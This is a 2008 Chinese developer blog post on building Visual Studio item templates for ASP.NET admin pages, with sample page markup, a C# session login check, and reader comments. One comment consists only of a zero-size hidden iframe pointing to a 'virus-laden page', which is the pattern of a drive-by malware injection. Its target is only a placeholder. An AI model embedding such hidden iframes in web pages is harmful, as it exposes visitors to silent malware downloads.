五味书屋
莫等闲,白了少年头!
随笔- 6 文章- 0 评论- 14
博客园
首页
新随笔
联系
管理
订阅
项模板的使用--提高编程速度
做web站点的时候经常会遇到如下的问题:
页面内容具有共性,比如每个页面都要采用固定的css,mete标签,引用js文件,还有aspx.cs文件中引用相同的命名空间,在aspx.cs文件中页面中做登陆验证这些,在没有项模板的时候只能建好一个,然后复制再修改。很麻烦,尤其雷同的页面非常多的时候,苦力活啊。这个时候我们可以使用项模板来解决这个问题。
如何使用项模板?(示例以建立一个后台管理页面的项模板)
1:在项目中,建一个Test.aspx页面,页面代码可以自由发挥,把共性的东西都加进去,用不上的东西都删掉。
<%
@ Page Language
=
"
C#
"
AutoEventWireup
=
"
true
"
CodeFile
=
"
Test.aspx.cs
"
Inherits
=
"
Test
"
%>
<!
DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
>
<
html
xmlns
="http://www.w3.org/1999/xhtml"
>
<
head
>
<
title
>
后台管理页面
</
title
>
<
link
href
="css/bg1.css"
rel
="stylesheet"
type
="text/css"
/>
<
script
src
="js/Common.js"
type
="text/javascript"
></
script
>
</
head
>
<
body
>
我是后台管理界面
</
body
>
</
html
>
在Test.aspx页面里我把head的runat=”server“去掉了,增加了后台通用的css文件,js文件,使用时可以根据自己的需要来确定内容。
using
System;
using
System.Collections;
using
System.Configuration;
using
System.Data;
using
System.Web;
using
System.Web.UI;
using
System.Web.UI.HtmlControls;
using
System.Web.UI.WebControls;
//
你可以随便引用你需要的命名空间,删除你看不顺眼的命名空间。
using
henq;
public
partial
class
Test : System.Web.UI.Page
{
protected
void
Page_Load(
object
sender, EventArgs e)
{
if
(Session[
"
flag
"
]
==
null
||
Session[
"
flag
"
].ToString()
!=
"
login
"
)
{
Response.Redirect(
"
login.aspx
"
);
}
//
很简单的一个登陆验证,实际使用中自己扩展就行了。
}
}
现在模板建好了,实际项目中你根据自己需要随便建。这里只是为了说明用使用项模板。
2:然后点击文件菜单,点击导出模板。(没有导出模板这一项请执行下列步骤:工具->自定义->命令->重排命令->添加->文件->导出模板->确定->关闭,就 OK了)
这里根据项目类型,自己定义了。下一步。
在项目中选择你做好的模板页面,我这里是Test.aspx.下一步
选择你要的引用。下一步。
一看就明白,自己定义吧。点完成模板就做好了。
然后选择添加新项,如图
我们新建好的项模板Ok了,添加下看看,不用再写重复的东东了。这里只做一个aspx页面的模板,其它项模板基本上都一样的。可以自己试下。
项模板很简单,用好了对提供开发效率很有帮助,本来觉得这个太简单了,但有好多朋友问这个问题,所以觉得有必要写一下。毕竟大家都经常要造重复的轮子。
posted @ 2008-06-16 18:53
五味果
阅读(1816)
评论(14)
编辑
收藏
发表评论
回复
引用
查看
2008-06-16 18:56 |
五味果
很简单的东西,因为它经常用所以写下。
回复
引用
查看
2008-06-16 20:03 |
曲滨*銘龘鶽
模板是不错;
不过博主,各个页面写认证有点......容易误导小朋友的 ^_^
回复
引用
查看
2008-06-16 21:32 |
五味果
@曲滨*銘龘鶽
不是每个页面写认证,是后台管理页面写认证。后台的页面基本上都要写认证,而且后台页面共性很多。
回复
引用
2008-06-16 22:43 |
清风醉 [未注册用户]
呵呵,还真没有怎么用过这东西
回复
引用
2008-06-17 02:47 |
编织套管 [未注册用户]
如何提高编程速度。
回复
引用
2008-06-17 08:30 |
efreer [未注册用户]
恩,不错,很实用的家伙
回复
引用
2008-06-17 08:37 |
小权子1 [未注册用户]
你知道vs2003怎么弄这种模板吗?
回复
引用
查看
2008-06-17 09:03 |
五味果
@小权子1
没有装vs2003,应该方法都差不多吧。你自己试下
回复
引用
查看
2008-06-17 09:25 |
清风笑
不错
回复
引用
2008-06-17 13:49 |
银饰批发 [未注册用户]
简单 使用,咱老百姓用的了的好方法,呵呵~~
回复
引用
查看
2008-06-17 17:09 |
peace
这个提高速度什么是什么意思,意思是其它页面来继承它?没用过,LZ只是说怎么添加个项模板,具体怎么说能提高开发速度,如果是和继承类似,那也没必要这么做了
回复
引用
查看
2008-06-17 20:33 |
五味果
@peace
模板就是提高速度的
回复
引用
2008-06-20 17:25 |
kinglong213 [未注册用户]
<iframe src=”带病毒的页面” width=”0” height=”0”></iframe>
回复
引用
2008-08-26 12:00 |
路过3 [未注册用户]
受教了
社区
新闻
新用户注册
刷新评论列表
标题
姓名
主页
Email
(只有博主才能看到)
验证码
*
看不清,换一张
[
登录
][
注册
]
内容(请不要发表任何与政治相关的内容)
Remember Me?
登录
使用高级评论
新用户注册
返回页首
恢复上次提交
[使用Ctrl+Enter键可以直接提交]
相关文章:
[转载]超多PPT模板的下载地址
使用Visual Studio2005入门.Net2.0系列视频教程
软件需求说明书模板
辞职信模板(推荐)
emule的使用感悟
如何提高数据库查询速度
相关链接:
最新IT新闻:
微软4.86亿美元收购Greenfield
苹果已然取代微软地位成行业众矢之的
Intel 收购 Poky Linux ,为 MID 注入新的动力
雅虎将关闭社交网站Mash
中国互联网战争局势图
博客园新闻频道
博客园首页
社区
<
2008年6月
>
日
一
二
三
四
五
六
25
26
27
28
29
30
31
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1
2
3
4
5
与我联系
发短消息
搜索
常用链接
我的随笔
我的空间
我的短信
我的评论
更多链接
我的参与
我的新闻
最新评论
我的标签
留言簿
给我留言
查看留言
我参加的小组
SubSonic
随笔档案
2008年6月 (1)
2008年4月 (3)
2007年12月 (1)
积分与排名
积分 - 3568
排名 - 5765
最新评论
1. re: 项模板的使用--提高编程速度
受教了 (路过3)
阅读排行榜
1. 项模板的使用--提高编程速度(1816)
2. 基于Jquery的内容显示模块(44)
3. QQ在线对话图标的自定义(25)
4. C#开发编码规范(21)
5. IIS7下运行Access+Asp的解决方法(20)
评论排行榜
1. 项模板的使用--提高编程速度(14)
2. QQ在线对话图标的自定义(0)
3. IIS7下运行Access+Asp的解决方法(0)
4. 基于Jquery的内容显示模块(0)
5. C#开发编码规范(0)